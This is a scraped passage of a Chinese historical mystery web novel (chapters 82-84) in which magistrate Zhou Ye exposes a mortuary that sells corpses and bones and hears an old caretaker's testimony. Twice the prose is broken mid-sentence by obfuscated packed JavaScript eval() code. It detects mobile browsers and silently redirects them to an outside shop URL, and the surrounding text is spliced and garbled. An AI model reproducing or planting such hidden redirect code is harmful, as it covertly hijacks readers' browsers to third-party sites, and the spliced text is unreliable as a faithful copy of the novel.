便是那一刻，他一下明白了她如今活成的是什么样子，而她心中那道，连卢宽也被隔绝在外的墙是什么。 那墙，便是那个叫复仇的东西。她早早做了为此损身殒命的准备，她并非将卢宽隔绝于外，而是在保护他不受牵连。 便是他这样被卷进的人，她也没打算利用或牺牲，只要他公正便是。而她所在意之人，比如卢宽，就更不可了。 有这份比谁都坚定的底线，他还有何理由不信？ 那个纤弱的身影，内里是比天下男儿都要坚定的东西，爱恨自那道墙分明，而善恶也自那道墙昭彰。哪怕是早先对她疑虑尚存的时候，他心中也不由敬服起来。 而此刻想及，他心中分明又多了些莫名的酸楚。她这一路，太孤单了。而他，能陪她走一走，哪怕只一段，也是好的。 想着这些的时候，笔上的墨慢慢盈于笔尖，滴了下去。 洗墨“呀”了一声，忙新抽了一张纸，替公子换上。 周冶回过神来，重新饱蘸浓墨挥毫起来。 这一画就画到快四更天，侍剑和涤砚早已睡着，只洗墨还在一旁伺候。 瞧公子题词落款，盖上了印，他这才打着哈欠去看，见果是一幅雪夜煮酒图，含糊着念了出来：“春雪漫天不知寒，炉火映颊酒香酣。” 周冶起身几步走到窗下，对着窗外的夜色伸了伸胳膊，突地飞身而出，几步就上了屋顶。 竹雨院窗口对面的房顶上，一个人影坐在屋脊上，手中拿着酒壶，不时往院里瞧一眼，喝上一口。 顺着那人目光看去，见孟珂竟还坐在窗下，一手支颐，一手把玩着酒盏。 周冶怕吵到竹雨院的人，压低声音，喝问道：“何人敢擅闯县衙？” 那人的目光也往院内一看，抬眼冷冷扫了周冶一眼，便往远处飞去：“我不找你，你管不着。” 周冶飞身跟了上去：“你既来我的地方，我就管得着。” 他方才从亮处出来，眼睛一时看不清，这会儿适应了，慢慢才看清，此人戴着一张银色面具，腰悬一支玉色洞箫，不由想到了传言。 “阁下莫非就是传说中的玉箫公子？白水门门主萧白水？” 上次救樊仲荣之后，他就找人查了。这白水门在三州之地已久，原是个不起眼的小股江湖势力。不知怎的，前几年突地改了名，不缺钱，也不缺人的，声名渐渐鹊起，隐隐有盖过黑石堂之势。 而这一切，都是从人称“玉箫公子“的萧白水上位起的。没有他，便没有今日的局面。 不过，江湖上虽盛传这萧白水的美名，说其乃不世出的美男子，但他常年一张银色面具，根本没几个人见过他的真面目，更别提真实身份了。他凭空出世，骤然窜上高位，却又始终神龙见首不见尾。 周冶当时便觉着，白水门从改名到做事，都像针对黑石堂似的，抢地盘，压生意，处处追着黑石堂打。若说是江湖势力争地盘抢生意，可。但若说是寻仇，也可。 他一直怀疑，孟珂同这白水门，到底什么关系？ 而这神秘的萧白水又是谁？ 看他熟门熟路的样子，当不是第一次来了。孟珂的人是没发现他，还是本就知道，也允许他这般自由来去？ 被叫破了身份，那人也不跑了，站在房顶，双手抱于胸前，歪头看着周冶：“是又如何，不是又如何。” “门主在江湖上也有些名气，这般偷窥我的……客人，不合适吧。” “客人？”那人笑道，“既然是客人，你便也做不得人的主。再说了，大人还是别急着树敌，庙堂虽高，江湖也大，可能还有用得着在下的地方呢。” 说完，也不恋战，飞身而去，留下一句，“有事叫雨歇姑娘找我。” 果然是老熟人。周冶于是也不硬追，转身回了。 *** 一连几日，衙门口那张桌子日日摆着。那些人也日日都来，还越集越多，却一个名字没落，显然有人刻意在背后生事。 周冶在外书房看俞用之找出的近年案卷。洗墨送茶进来，问：“公子，真要把一座山都挖了？一时半会儿，人手也不够……门口这些人，咱们的人不撤，只怕不会罢休。” “不必了，”周冶抬眼看向外面，听着已经耳熟的喧闹，笑道，“僵持这么几日，样子也做得差不多了。” 他若是不查清就走，还恐生疑。这些人闹事，倒正好给了他一个台阶，名正言顺地“迫于压力”撤人。 于是，转头对侍剑道，“今日晚些时候就大张旗鼓地把人手都撤回来，留几个人守着，盯着以防……有人去捣乱生事就行。” 说完，扔下手中案卷，“我先睡一会，几夜不曾好睡了！这么熬下去，我这盛世美颜都绷不住了。” 周冶刚睡，下头人又来了，说高升一直闹着要见大人，牢里的人不堪其扰，只好又来上报。 洗墨勾勾手指，那狱卒疑惑地走上前去，顺着他的手一看，见周冶腿翘在案上，睡着了。 “大人忙了几夜不曾睡，这会儿刚睡着。你若敢叫，就去。” 那狱卒揉了揉耳朵，一脸疼得慌的样子，无奈地转身走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏姒：“我说的这血缘，不是他们二人。” 梁云钦惊道：“你是说，这孙嬷嬷和这梁夫人？还是孙九爷和这梁夫人？这三人……不——会——吧！” 可他立刻发现，这样一来，好多事就说得通了，喃喃道，“难道这就是为什么……她能对霍家……那么狠？” 因为她就不是霍茹蕙，而是孙茹蕙？ 梁云钦神色沉静了下来，静坐了许久，抬头看向杨管家。 “老杨！” 这一声，艰难却笃定，像是做了什么决定。 “老爷？” 梁云钦道：“咱们只怕得另做打算了！” 他在房里绕来绕去，绕了半天，突然站住了道：“不行！马上把义庄外头的人召回来！别去了！” “不去了？”杨管家不敢相信地道。 “只怕是陷阱。“梁云钦道，“不去，他一时半会儿搜不到。去了，就是人赃并获。” 杨管家：“可他们只要一日不撤，咱们就……” “无妨！”梁云钦唤他过去，附耳说了什么。 杨管家点头应是，退了出去。 82. 老馗 南山的树林里，突然传出几声呼哨。那些朝着义庄和坟场靠近的人手立马顿住了，而后重新窸窸窣窣起来，却是慢慢地四散开了去。 侍剑在义庄院墙外的树上，刀已出鞘，眼睁睁地看着这些人拢了过来，却又硬生生地看着他们走了。 却说梁云钦，虽下令撤了人，但仍一直焦灼不安，似乎在考虑什么大事，连杯中酒喝着都不是滋味了。 苏姒几番问他，他也不说。末了，她只得叹口气，放弃道：“老爷不说也罢。便是说了，我一个弱女子，也帮不上。” 说着，却又伸指戳了梁云钦一下，自得地笑道，“不过，我却知道一件事，选对了老爷这座靠山，便什么都不必怕。” “嗯，靠山。”梁云钦敷衍着重复道，说着说着，却突然惊道，“靠山！对啊！” 他一拍大腿，看着苏姒，大喜道：“你说对了！最要紧的就是找座靠山！有了靠山，便不怕他周冶，不怕那……” “周大人！”苏姒不屑地“嘁”了一声，嗤笑道，“他算什么啊？也就能为难为难咱们了，之前不还被满城耻笑，不还被那熹园的小姐处处为难？” 对啊，熹园！怎么把这座大山给忘了！梁云钦心道，曾怀义当初便上赶着去拜码头呢，他一死，自己就跟断了线的纸鸢一样，完全没处巴结。 梁云钦一把将苏姒拽过来，坐在了大腿上：“我的乖乖，你今日可算是帮了大忙了！” 苏姒吊上他的脖子，笑道，“那老爷可要赏我。” “赏赏赏。” 说着，却又犯了难，“不过，只怕是巴结不上。” 苏姒：“老爷是想，抱熹园那个靠山？” “聪明！”梁云钦点了点她鼻子，叹道，“可那樊仲荣是她的人，只怕他说了什么，早把这条路给我堵死了……” 苏姒道：“樊仲荣？老爷不知道吗，熹园发了悬赏拿他呢。说是他中饱私囊，坑了好大一笔钱，把小姐都气病了呢。不管他说没说过什么，那小姐还能信他？” 梁云钦缓缓点了点头：“这倒是！” 苏姒：“要我说，老爷现在正好顶了他的缺，既能得了这座靠山的庇护，度过难关，没准儿还柳暗花明，青云直上呢，日后还有大大的前程可奔！” 梁云钦心下渐渐转喜，又道：“可是，这也没交情啊！能找谁从中牵个线，搭个桥呢？” “老爷糊涂了不是！”苏姒笑道，“您可是熹园的前房主，桥不早就在那儿了？” “你的意思是……”梁云钦一下明白了，当初卖园子收钱，是不知道买家是谁，如今知道了，自然要把银子退回去，“可那钱，我也只分了一份，只曾家那份耽搁了，还未送去。” “人都死了，老爷还认账？” 梁云钦看向她，不愧是风月场的，好多事也没明说过，但她倒是跟明镜似的。 苏姒看出了他所想，笑道：“老爷以为，我跟了你这么多年，还不知道你替谁办事？曾大人这个靠山都倒了，曾家如今也不出力，凭什么分这银子？再说了，他家的人，只怕根本就不知道这些事。” “倒是。他还没让两个儿子沾手，他们还真不清楚这些账目。”梁云钦心道，孙九爷手里那份是拿不回来的，把曾家这一份挪了，自己便只用添一笔便好。若不是牢里还有个高升，倒真的可以放手一干。 “那不就是了！”苏姒又戳中了他所虑，“老爷先过了这关，日后便是想照顾曾家，补上这一份，又有何难？” 梁云钦点了点头，也管不了那么多了，等日后曾家真找了来再应付还不晚。 *** 衙门内院，周冶从书里抬起头来，瞧侍剑那么早回来，还矂眉搭眼地，就知道事情没成。他也不意外，淡淡地问：“没露面？” 侍剑点头，一脸不解地道：“都围到半道了，不知怎么就突然撤了。” “这梁云钦倒是警觉，”周冶继续翻着书，自言自语似地道，“怎么突然就回过味来了。” 侍剑在一旁坐下，无所事事地翻了翻公子手边那堆书，随手抽了一本出来：“公子怎么还在看账本，这假的还能看出什么？” “账本？”周冶奇怪道，“都收起来了啊，哪里又冒出什么账本来。” 侍剑递给他：“这不是吗？” 周冶接过一看，同之前搜出的截然不同，惊道：“这东西哪儿来的，什么时候在这儿的？” 侍剑更不知道了：“不就在这堆书里头，公子没见过？不是都拿来放了几日了？” “之前明明没有。” 周冶往四下看了看，谁能逃过侍剑、自己，还有隔壁的雨歇，在这内院里来无影去无踪？他看向了隔壁，是她的人，还是那位已经不止一次来光顾的不速之客？ “这么说，这本是真的？”侍剑问。 周冶点点头，这正是义庄的账本，触目惊心地列出了分门别类的账目，有一具具直接卖的，有按完整骨架卖的，也有分别按颅骨、手脚骨、眉心骨卖出的…… 他虽然已经知道那些人骨可能的去处，可如今看着这账本，才能真正相信，这事是真的。 人，原来真的会如猪狗牛羊一样，被称斤卖两。 原来，死无葬身之地这话，竟还有这种解法。 这简直跟噩梦一样。不，噩梦都不会做到这样的事。 周冶坐了下来，一页一页地翻了下去，不时拿笔记下些什么。 深夜，他终于从账本里抬起头来，哭笑不得地道：“这死人的生意，原来是这么做的。” 洗墨伸了伸脖子，犹豫要不要拿去看看。 周冶看着洗墨，冷笑一声道：“少数一些花了钱的’无名尸‘，就是你说的赌徒卖尸，不过几百文。” 他指着账本，“而这上头的卖出价，至少翻三五十番。” “而绝大多数的尸体，则是完全无本的买卖。仅这一本账本所记，所获的银钱数目……令我这个京城来的所谓贵公子，都瞠目结舌！” 说着，抬手敲了敲桌面，“什么印子钱，跟这一比都不算什么了。在这样的暴利面前，人可不就丧心病狂了！” 让别人死无全尸算什么！让那些人死无葬身之地，又算什么！伤阴鸷，那都是死后的事了，比起现在就能得的白花花的银子，又算得什么！ 他长长地吐出一口恶气来。 洗墨拿过那账本，边看边啧啧道：“这油水，果然非同一般！” 侍剑也将头凑了过去：“那些无名尸，便是被他们这样分了尸，再卖出去。” 周冶看着侍剑道：“我想，这分尸处理之所，应该在就近的地方，不在义庄，就在附近。他们蹲守几日，应该就是要消灭罪证。” 这时，他突然可惜起来，“今日要是抓到他们就好了！” 侍剑站直了：“公子，我这就带人去，从义庄查起，一寸地方都不放过，一定把他们的地方挖出来。” “不急！”周冶拦住了他，扫了账本一眼，“有一个人，现在可能会吐口了。” “谁？”侍剑好奇道。 “老馗。”周冶起了身，往外走去。 “他？一大把年纪，用不得刑，又有无儿无女没软肋的，怎么逼他开口？” 说话间，公子已经越走越远。洗墨忙跟上去道，“公子！这么晚了，待明日再审也不迟，还睡不睡了？” “不睡了。” *** 狱卒正打着瞌睡，懵懂中看见周冶径直进来，直奔那不人不鬼的老头而去。 人老了觉就少，听见动静便醒了。周冶走进牢中的时候，老馗已经坐起来等着了。 “大人深夜来此，必定有收获了。” 周冶将人都遣走，扬了扬手中账本，似是自说自话地感慨道：“我从来没想过，这世间竟会有这么一本，把人当猪当牛售卖的账本；会有这样一条条，把人当货的，银钱的记录。” 老馗笑道：“大人有点手段，倒有点出乎小老儿意料了。” 周冶看着老馗，却笑不出来：“我知道，你愿意开口，但你需要这案子能办，才开口。我不知道怎么才能让你愿冒性命之险信我一回，又是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999179|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一定能对得住你这份信任，但我可以告诉你，这个案子，我必定一查到底。” 老馗扬起头：“可曾怀义曾大人的案子，大人你，不是也囫囵结了吗？” 周冶愣了一瞬，他没想到老馗会提这个事，但想想也在理。在外人看来，他周冶跟历任县令也没什么区别，碰到地头蛇，说糊弄也就糊弄过去了。 周冶点点头：“老人家，你活到这个年纪，必然明白，有些事情是不能着急的。时机不到，暂且按下不提，但那不意味着放弃，对吧？我相信，你能在义庄呆下来，必是明白这个道理的。” 老馗闻言笑了，花白的胡须也跟着颤：“我明白什么？我不过是黄土埋到眉毛的人，懒得挪窝，在那儿等死罢了。” 周冶看着他，认真道：“当您老刻意引我们去挖坟的时候，其实就已经给了最重要的口供，还是拿命给的。” 今日若不是他周冶，当老馗说出那话的一刻，就注定必死无疑了。或哪怕只是他没整顿牢里的乱象，老馗如今也已经死了。 老馗没言语。 周冶也没指望老馗说什么，继续道：“其实，我此刻来，也不是真有什么非向老人家，问明白不可。我只是……看到这样触目惊心的事，想找个知情人，说一说。” “我想确认一下，这不是一场离奇的噩梦，而是实实在在发生在青天白日之下的事；是很多人知道，却让它一直这么发生下去的真事。” 周冶苦笑了笑，“在我之前的那些县令，知道这件事的时候，想的必定是：这么恶劣的事竟发生在我治下，我怎么这么倒霉？那么久的事，早不爆，晚不爆，怎么偏偏就在我的任上爆了？这也不是我干的，为何要我来承受这后果？账本上的数字算什么，也不是我贪的！” “他们会告诉自己，那些人反正都已经死了，又不是他们杀的，更不是自己杀的。死的已经死了，得先为活着的人考虑。而义庄赚了钱，不也拿出那么多，帮着官府赈济百姓？” “就这样，他们会从自己的利弊，考虑到活人的得失，最后会说服自己，睁一只眼闭一只眼，就这么相安无事算了。” “比起查清这件泼天大案，他们更想阻止这案子曝光，至少不能在自己任内揭破，反受其累。” 说完，周冶脸上挂着嘲讽的笑，沉默了下去。 半晌，还是老馗开了口：“那大人你呢？” 周冶抬眼看他：“可是，这样是不对的。人若没了物伤其类之情，若对同类都残忍到了这样的地步，那这个世道就会真的彻底崩坏了。今日是买卖无名尸，明日便可以为了买卖而杀人……” 他顿了顿道，“只看得到罪恶的开始，却不会看到尽头，除非遇到阻力。” “人活着活着，慢慢地就不去管什么对与不对了。”老馗看着他笑道，“大人还是……太年轻。活久了，看多了’杀人放火金腰带，修桥补路无尸骸’的事，连对报应这回事都不太信了，还对与不对呢？多蠢的问题！” 笑着笑着，他脸色却沉静了下来，话锋一转道，“大人能走到这一步，着实出乎小老儿的意料。” 这么多年来，曾有人对着他的明示暗示装作不懂，有人发现背后水深之后悄无声息地退缩，有人反借着此事去敲诈，分一杯羹…… 能去查义庄抓人，能知道背后勾当，也明白其棘手之处，还能拿到真正的账本，把这当成一件不可接受的案子来办的，眼前的周冶是第一个。 可即便到了这一步，老馗也知道，这个年轻的公子虽有心，却未见得能做成。 可是，他也没有更好的选择了。 毕竟，这么多年，也只有他这一个人能走这么远。就算他走不到最后，至少，他们都尽力了。 他还能活几年？只能一赌了。 想定了，老馗看着周冶，说道：“张举的尸体，还在。” 周冶猛地抬眼看老馗。 老馗道：“那日，我一眼就认出，此人是杨管家的手下。见他死于非命，还是当无名尸送来的，就知道背后有蹊跷，于是将他的尸首藏了起来。” 83. 指路 “那……张举的尸体现在何处？”周冶问。 老馗：“就在后堂里，我那日曾指给大人看的高仲的棺材里，夹层。” 这老馗果然早就有打算了，步步都在暗暗指路，周冶问：“那这义庄的……买卖，他们是怎么做的？处理尸体的地方可就在义庄？” 老馗道：“义庄的地下有条密道，通向西面坡上的一个山洞，每每晚上去做事。” “有的直接送出，有的剔除了皮肉，处理好，方便运送。棺材底下装处理过的，面上放上一具，假扮作扶灵回乡，一路都不容易惹人生疑。” “大人知道，最可笑的是什么吗？他们每每开始之前，都对着尸体作揖说，’怨天怨地，别怨我。’好像他们是迫不得已一样！” 老馗笑出泪来，抬手擦了擦，“小老儿都活这把年纪了，也算是见识过不少离奇之事了，可也不得不佩服啊！人之无耻，实在是没有边界。” 周冶问：“这些年，家属就没人发现？” 老馗道：“有家属过后又来找的，也不过就随便指一处敷衍，遇到不好糊弄的，就拿一具坏到不好辨认的来搪塞罢了。也有个别细心的，发现尸体对不上，闹起来，他们就给点钱封口，甚至也有……一并灭口了事的。” 周冶道：“难道建这个义庄，一开始就是为了这个买卖？” “不是！当然不是！” 老馗突然激动起来，猛地摇起头来，脸上瞬间升起一种愤恨，“义庄本是善举，只是被有心之人盯上了，取而代之。” “那些人早年流窜作案，零星地四处盗挖，但那种容易被发现，引得人报官，闹开来的风险太大。他们发现有这么个南山义庄后，便想法混了进来。我慢慢发觉了不对，悄悄同……上头说了。上头让我不动声色，搜集证据，准备一举端了的。” “谁料，不多久就出了事。这事就……一直耽搁到了现在。那些人占据了此处，便在此放开手做了，倒成了义庄的主业，商会的来钱之道了。” 老馗叹了口气，“大人若是能办了此案，倒是替梁公完成了遗愿。” “梁公遗愿？”周冶想到了什么，“义庄牌匾上写的梁公，不是如今的梁会长？” 老馗冷笑了一声：“他那种东西，能想到让人死有所葬，能做这种善举？” 周冶心中已经了然：“莫非是梁均梁大人？那你说的出事是？” 听到这个名字，老馗的脸上顿时潮水一样涌上了回忆，看了他一眼，点了点头，慢慢吐出几个字：“梁家出事，商会易主。” 周冶道：“七……不，已经过了年，八年前的梁家灭门之事？” 老馗惊得又看向他：“大人竟知道此事？” 周冶点了点头。他没想到，这商会和这义庄竟都是她父亲所建；也没想到，这事竟不只是为了拉下梁云钦，还能跟她梁家扯上直接关系。 不，应该说，正是因为同梁家有关，才会在此时被翻出来！这也是她一直让他自己去查的原由——她也是当事之人？ 老馗叹道：“其实，在那之前，梁公的身体就很不好了。听说他便是因病才辞官的，来绥陵之初，还不太坏，还在努力想为地方做事。可耐不住沉疴难愈，病势愈发深重，慢慢地……也就不怎么管事了。而他同姓连宗的族弟，便是如今的梁会长，慢慢掌了商会的事。” 他扭头看着周冶，“便是在这段时间，开始出问题的。” 周冶突然想到：“除了南山义庄，他们在其他地方可也有这生意？” 老馗道：“据我所知，他们的手，已经伸到了四五个州，具体有多少，小老儿也不知了。可光是南山这一个，那就填进去了多少人啊！” 外面的天光渐渐亮了起来，晨光从高高的窗口投进来，映在地上。 周冶长揖下去：“老人家，我替这些人，还有他们的亲人，感您大恩！” 老馗抬起枯瘦的手，拦道：“什么恩，我只是做梁公当年交代我做的事而已。” “谢老人家相告！” 周冶转身要去，又想起什么，“给衙门的信，也是您送的？” 老馗蹙着眉回头看他：“什么信？” “没什么。”周冶心中有数了，点点头转身要去。 “等等！”老馗道，“大人，义庄的匾额后，墙上有个洞。掏出浮土，里面的东西大人可自取。” *** 天一亮，梁云钦就上了熹园的门。 等了许久，才终于见孟珂身边最得力的大丫头回雪走了出来。 回雪也没坐，显然不打算多说，冷冷扫了他一眼：“这宅子有什么问题，劳烦梁老爷亲自上门，还非要当面才能相告？莫不是藏了什么惊天大秘密？” 她能出来见他，也算给面子了。梁云钦堆起讨好的笑道：“姑娘，是有些小问题，其实寻常人住，原也不打紧，只是让小姐这样的贵人住，那又不同。我想着，总要说一声不是。” 听他东边屋檐，西边水沟，南面廊庑地扯了一通，回雪一副浪费时间的样子，直接示意身边下仆送客道：“知道了，今日辛苦梁老爷来这一趟了。” 见她起身便要走，梁云钦忙道：“姑娘！我此来，其实……其实是想拜见小姐。” 他讪笑道，“只是，一说要拜见小姐，底下人直接就拒了，不得已这才找了些由头。还请姑娘垂怜，替小的通报一下。我本该早点来拜见的，只是听说小姐身子不好，不敢相扰，这才等到了如今。” 回雪仍是冷若冰霜地道：“你的话，我会秉明小姐，至于拜见，待小姐身子好了再说吧。” 说完，提步又要走。 “姑娘！”梁云钦几步上去，从袖中已掏出了银票，双手藏在手中悄悄要塞。 回雪一闪身躲了，眼神分明还有些嫌弃。 梁云钦看了看堂上的人，讪笑着收了进去，硬着头皮说下去道，“姑娘！我……我看了那悬赏令，知道樊仲荣中饱私囊之事。这园子当初是他从我手中买过的。这其中必定也做了些文章。我想着，这还是需向小姐当面回报。” 回雪“哼”了一声，终于正眼看着他道：“若是此事，我劝梁老爷就不要去触霉头了。小姐正是被他的事气到，才病了这么些日子。这都多少日子不曾出府了！小姐便是觉得……扫了面子，又岂会因此事见你？” 梁云钦听着连连点头称是，心下却一喜，天无绝人之路，不必担心樊仲荣了。 他使了个眼色，身后的下人便捧过一个小匣子来。他接过手，亲自奉到回雪面前：“我今日来，还为亲自送回一物。” 回雪疑惑地接过手，打开一看，里面是一摞银票。她拿出来翻了翻，倒比当初买园子的银子，还多了不少。 梁云钦道：“当日不知是小姐要买，如今既然知道了，这钱哪里敢收。这宅子能得小姐青眼，那是它的造化，也是我等的福气！” 他瞧回雪的面色果然缓和了些，终于带了些笑意。 但下一刻，她便将银票放了回去，朝他推回了匣子：“梁老爷有心了。不过，我们卢府不缺这点钱。没有平白无故收人田宅的道理，传出去，还只道我们横行霸道，强占人产呢。” “别啊，回雪姑娘！这是我的一份小小心意，还望你给小姐带到，”梁云钦瞧着，她摆出这无功不受禄的姿态，又道，“而且，实话说了吧，我 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周冶随手一翻，便愣了。这收尸录比他见过的都要详细，除了收尸人和义庄通常会记录的基本信息，竟还仿照仵作，记录了伤痕、可能的死因，有的甚至还画了图，明示了伤口位置、形态。 这老馗莫不是干过仵作？可仵作都是世代相传，吃衙门口的饭，又怎会去做个义庄的管事？钱少事多，只有个离家近的好处了——如果跟一庄子死人同住，也算家的话。 周冶叹道：“凡能读书写字的，都是有点家底的，还有这份技能，这老馗……何至于在这种地方一呆这么多年。他就是为了拿到这些至关重要的证据吧！” 他瞧着，老馗的记录除了敛尸的信息，还着重判断生卒时间，记录形貌特征，正像是为了明确这些人的身份、死因，以便日后查证的。 他又拿出了那本不知从何而来的账本，同老馗记的出货记录，两相对照一看，是了！每一笔都对得上！ 他一手拿一本，笑道，“一本把人当货卖，明了每一条银钱的进出；而另一本，是关于人的记录，让人知道那曾是个什么样的、曾活生生存在过的人，因而而去，又是谁的亲人爱人，挚交故旧。” 人证、物证都有了，作案之所也依着老馗所说找到了。 周冶看了看外面的夜色：“明日一早，便去抓了这些吃人不吐骨头的……东西！” 正在这时，洗墨进来：“公子……回雪姑娘来了。” “回雪？请姑娘进来。” 回雪道：“大人，我家小姐有请，过竹雨院一叙。” 到了竹雨院，孟珂开门见山问：“大人，准备如何查封这商会和黑石堂？” 周冶看了她一眼，果然所有行动都尽在她掌握。若他们是敌人，还真的有点棘手。 孟珂继续道：“要看守义庄现场，还要同时查封商会、梁府、黑石堂及其诸多据点，光靠衙门的人可不够。贸然行动便只会打草惊蛇，尤其黑石堂的人一旦鸟兽散了，日后可就再难追捕了，无异于大海捞针。” 周冶还未答话，孟珂便猜到了他心中所想，“大人想去搬救兵？” 周冶确实有搬救兵的想法。 “大人是可以搬救兵，可搬哪里的兵呢？” 孟珂笑道，“就近找自然最方便，只是，这州内的官场，打断骨头连着筋，多少人的利害牵扯其中？不等兵到，消息就先传到对方耳中了。” “若是往远了找，势必还得从长计议，耽误时日，还需找合适的由头，才能不漏风声。” “可义庄这一查，已然打草惊蛇，也拖不得。”孟珂往外瞅了一眼，“此刻，只怕就已经有人……在收拾包袱跑路了。” 84. 民怨 这个月黑风高的无人之夜。梁云钦虽没本事杀人，却有想法跑路。 他在枕上几番睁眼，看了看外头的天色，又强忍着闭上。 这些日子，他一副破罐子破摔的样子，成日泡在邀月阁喝酒，对苏姒的宠爱也达到了极点，珠宝玉石、大箱小笼地往邀月阁送，大有点千金散尽管它来不来的意思，还逢人便说，“这钱，花了的才是自己的。留给儿孙糟践，还不如自己糟践呢。” 他这般日日荒唐，便是为了麻痹官府和黑石堂，以便势头不对的时候，就跑路。 窗上终于传来几声轻轻的笃笃声，他当即抬起了头，看向了外面。 这一夜，他拉着整个邀月阁的人喝了大半夜，拿着白花花的银子大撒特撒，然后便假寐在床，就等着这一刻。 他警惕地看了看身边熟睡的苏姒——这个枕边人，他故意灌了好多酒，她不到第二日午后是醒不过来了。看着这张睡梦中依然让人心动的脸，他可惜道：“你也说了，这些年，是靠着我才过了几年好日子。如今，缘分尽了，咱们就各顾各吧。” 说罢，梁云钦起身下榻，蹑手蹑脚地摸黑到了窗边，开了个小缝。窗外是他的护卫范存。 “老爷，都备好了，马车就在后门口等着。” “没人看见吧？” 范存摇头：“老爷放心。” 梁云钦点点头，回身从柜子底下摸出一个包袱，又抠起地板，抱出个小箱子。 这些日子送来邀月阁的箱笼，大件的都是给人看的。真正值钱的东西都让范存分散了，换成了银票。只有少数价值连城的，一时出不了手的，装了个小箱子。 他手中一没权，二没刀，就是个人人觊觎，又人人可拿的钱袋子，从没想过像曾怀义一样，真正把绥陵当家，想长长久久地在此开枝散叶。于是，借着做生意、游山玩水之机，早早就在山高水远之处另置了产业，便是预备着这一日。反正他打小就流落多地，哪里都是家，但哪里也都可以不是家。 等发现孙九爷和梁夫人关系的时候，他别提多庆幸自己早做了这手准备。他虽去了熹园一趟，但也知道那门槛不好进。若要舍的大了，还不如三十六计走为上计。 老子不陪你们玩了，早点收山，落袋为安。 邀月阁这声色犬马之地，哪日不是闹到半夜三更方歇。梁云钦听着外面悄寂无声，这才开门。 可刚开了一条缝，门就嘎吱一声响。身后的榻上，传来“嗯”的一声。 梁云钦一颗心提到了嗓子眼，惊得猛地回头去看，见她翻了个身，又睡了，这才松了一小口气。 这邀月阁的人睡得晚，可外头街上的人起得早，再晚只怕撞见人了。他不敢耽搁，先将肩上的包袱塞出去，又小心地扶着门，将胖大的身子挤出去，这才将包袱背上，抱着小箱子，猫成个煮熟的虾，一路看，一路偷摸到了后门。 果然，守门的人已经被范存打晕了，开了个门缝，就等着他。 他疾步朝范存跑了过去，出门的时候，回头最后扫了一眼，小心又兴奋地转身而去。 这时，一双漂亮的眼睛，正在黑暗中，带着盈盈笑意看着他。 *** 竹雨院内，孟珂继续道：“这抓人，还只是一难，二难则更甚——衙门声势浩大地这么抓人，满城都看着，敢问，大人准备师出何名？” 侍剑不明白了，在一旁嘀咕道：“查案抓人还需要什么名目？” 涤砚却明白，低声应道：“这越大的案子，越难办。查封义庄，坡上挖尸，为何都要找查账和整理坟山的理由？哪怕梁云钦在背后煽动人来衙门闹事，为何公子也只是安抚，却不揭破衙门是在查这大案？” “公子不是说，案情不明之前，谨慎行事，暂不透露吗？”侍剑道，“可现在不是什么都清清楚楚，也证据确凿了？还有什么好慎重的？” 二人说话间，听孟珂又问：“这案子到底要怎么查办，后面怎么审，又怎么向朝廷呈报？大人可想好了？” 周冶看着她，一时无言。 他如何不明白，这个案子真正的难办之处，不在于如何弄清案情本身，也不在于案犯怎么抓，怎么审；而在于案情一旦揭开，他要怎么对上交代，对下安抚。 他查阅过旧案记录，又找了书吏俞用之回去问过他老爹，买卖尸体之事曾几次被人撞破，但都被糊弄遮掩了过去。因为这个案子，太大了，也太难了——不管怎么去办，此案终究都伤及郡县、州府，乃至朝廷的脸面。 比起案情本身，上头更看重的是——局面，局面一坏，他这个办案之人，便是过非功。 而届时将引发的滔天民愤，又可能造成什么样的后果。 周冶笑笑，抬眼看她道：“小姐这是……来看我笑话？” 孟珂反问：“我为什么会觉得这是笑话？” 她垂下眼眸，面含悲悯地道，“我觉得，这是再悲凉也没有的事。” “儿时，我们读书明理，以为只要懂得分辩是非，只要去做对的事，便够了。”她也微微叹了口气，带着淡淡的讥嘲道，“但等到我们长大了，便知道，在是与非之上，还有利与害。做一件错的事，很可能于己有利。而做一件对的事，却得承受其害。” 她摇了摇头，“这做人，难哪！” 周冶深深地看着她，她身上，不只有那通晓世事之慧，还有份无差别的悲悯之心。 “这便是大人的前任们不作为的原因：做了，未见得有功；不做，至少于己无害——害不到他们自己头上。而大人你，是个想作为的人，我只会敬重，怎可能看笑话？” 孟珂道，“不管是谁在这个位置上，面对这个问题，都不容易做。而对大人你来说，甚至都不是在利己和利民之间为难。而在于，哪怕你义无反顾地选了利民，依然无法两全。” 听了这话，周冶只觉又喜又悲，喜的是有人不需要言语就能懂得，而悲的是，她戳破的这份现实的不能两全。 这一瞬，他突然明白了，为何这个案子一路查来，她只在需要的时候，才让他自己去看那些实实在在的证据。 原来，她并不只是为自己撇清，更是在给他选择：让他自己看清实情，让他自己去判断，去选择，这每一步要不要走，该走到哪一步，又该怎么走…… *** 侍剑看公子的脸色越来越不好看，疑惑道：“他们到底在打什么哑谜？我就闹不明白了，公子办这么大个案子，是大功一件啊，到底在烦难什么？” 涤砚道：“两个字，民怨。” 侍剑：“民怨？” 洗墨也在一旁点头道：“都说死者为大，可死了的人还被他们这样糟践，真是缺了八辈子的大德了！这事传出去，谁听了不瘆得慌？死了都不得安眠，被他们大卸……不只八块。去血肉，最后连点骨头渣子都不剩，被磨成东西，日日拿在手中……” 他嘴里骂了一句什么，继续道，“谁能不对衙门寒心？谁不骂一句，官商勾结吃人。谁，又能不怨？” 侍剑：“什么意思？因为这，就不能查案抓人了？不是更该办了这些人？” “不是不办，” 